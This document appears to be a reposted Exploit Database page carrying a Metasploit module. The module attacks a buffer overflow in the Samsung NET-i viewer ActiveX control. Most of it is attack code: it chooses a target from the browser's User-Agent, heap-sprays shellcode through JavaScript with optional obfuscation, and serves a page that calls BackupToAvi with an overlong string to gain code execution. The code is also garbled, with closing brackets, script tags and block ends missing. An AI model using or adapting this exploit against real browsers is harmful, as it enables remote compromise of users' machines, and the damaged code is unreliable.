Samsung NET-i viewer – Multiple ActiveX ‘BackupToAvi()’ Remote Overflows (Metasploit)

Exploit Database
113 阅读

作者： Metasploit

日期： 2012-06-08
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/19027/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})

super(update_info(info,

'Name' => "Samsung NET-i viewer Multiple ActiveX BackupToAvi() Remote Overflow",

'Description'=> %q{

This module exploits a vulnerability in the CNC_Ctrl.dll ActiveX installed

with the Samsung NET-i viewer 1.37.

Specifically, when supplying a long string for the fname parameter to the

BackupToAvi method, an integer overflow occurs, which leads to a posterior buffer

overflow due to the use of memcpy with an incorrect size, resulting in remote code

execution under the context of the user.

'License'=> MSF_LICENSE,

'Author' =>

[

'Luigi Auriemma', # Vulnerability Discovery and PoC

'juan vazquez' # Metasploit module

'References' =>

[

[ 'OSVDB', '81453'],

[ 'BID', '53193'],

[ 'URL', 'http://aluigi.altervista.org/adv/netiware_1-adv.txt' ]

'Payload'=>

{

'Space' => 1024,

'BadChars'=> "\x00"

'DefaultOptions'=>

{

'ExitFunction' => "seh",

'InitialAutoRunScript' => 'migrate -f'

'Platform' => 'win',

'Targets'=>

[

# Samsung NET-i viewer 1.37

# CNC_Ctrl.dll 1.5.1.1

[ 'Automatic', {} ],

[ 'IE 6 on Windows XP SP3',

{

'Ret' => 0x0c0c0c0c,

'Offset' => '0x800 - code.length',

}

[ 'IE 7 on Windows XP SP3',

{

'Ret' => 0x0c0c0c0c,

'Offset' => '0x800 - code.length',

}

]

'Privileged' => false,

'DisclosureDate' => "Apr 21 2012",

'DefaultTarget'=> 0))

register_options(

[

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])

], self.class)

end

def get_target(agent)

#If the user is already specified by the user, we'll just use that

return target if target.name != 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/

return targets[1]#IE 6 on Windows XP SP3

elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/

return targets[2]#IE 7 on Windows XP SP3

else

return nil

end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']

my_target = get_target(agent)

# Avoid the attack if the victim doesn't have the same setup we're targeting

if my_target.nil?

print_error("Browser not supported: #{agent.to_s}")

send_not_found(cli)

return

end

print_status("Target set: #{my_target.name}")

p = payload.encoded

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))

js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

js = <<-JS

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{my_target['Offset']});

var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var i=1; i < 0x200; i++) {

heap_obj.alloc(block);

}

js = heaplib(js, {:noobfu => true})

#obfuscate on demand

if datastore['OBFUSCATE']

js = ::Rex::Exploitation::JSObfu.new(js)

js.obfuscate

end

bof = Rex::Text.to_unescape("\x0c" * 2048, Rex::Arch.endian(my_target.arch))

html = <<-EOS

<html>

<head>

#{js}

</script>

</head>

<body>

target1.BackupToAvi(0, 0, 0, unescape("#{bof}"));

</script>

<body>

</html>

EOS

html = html.gsub(/^\t\t/, '')

print_status("Sending html")

send_response(cli, html, {'Content-Type'=>'text/html'})

end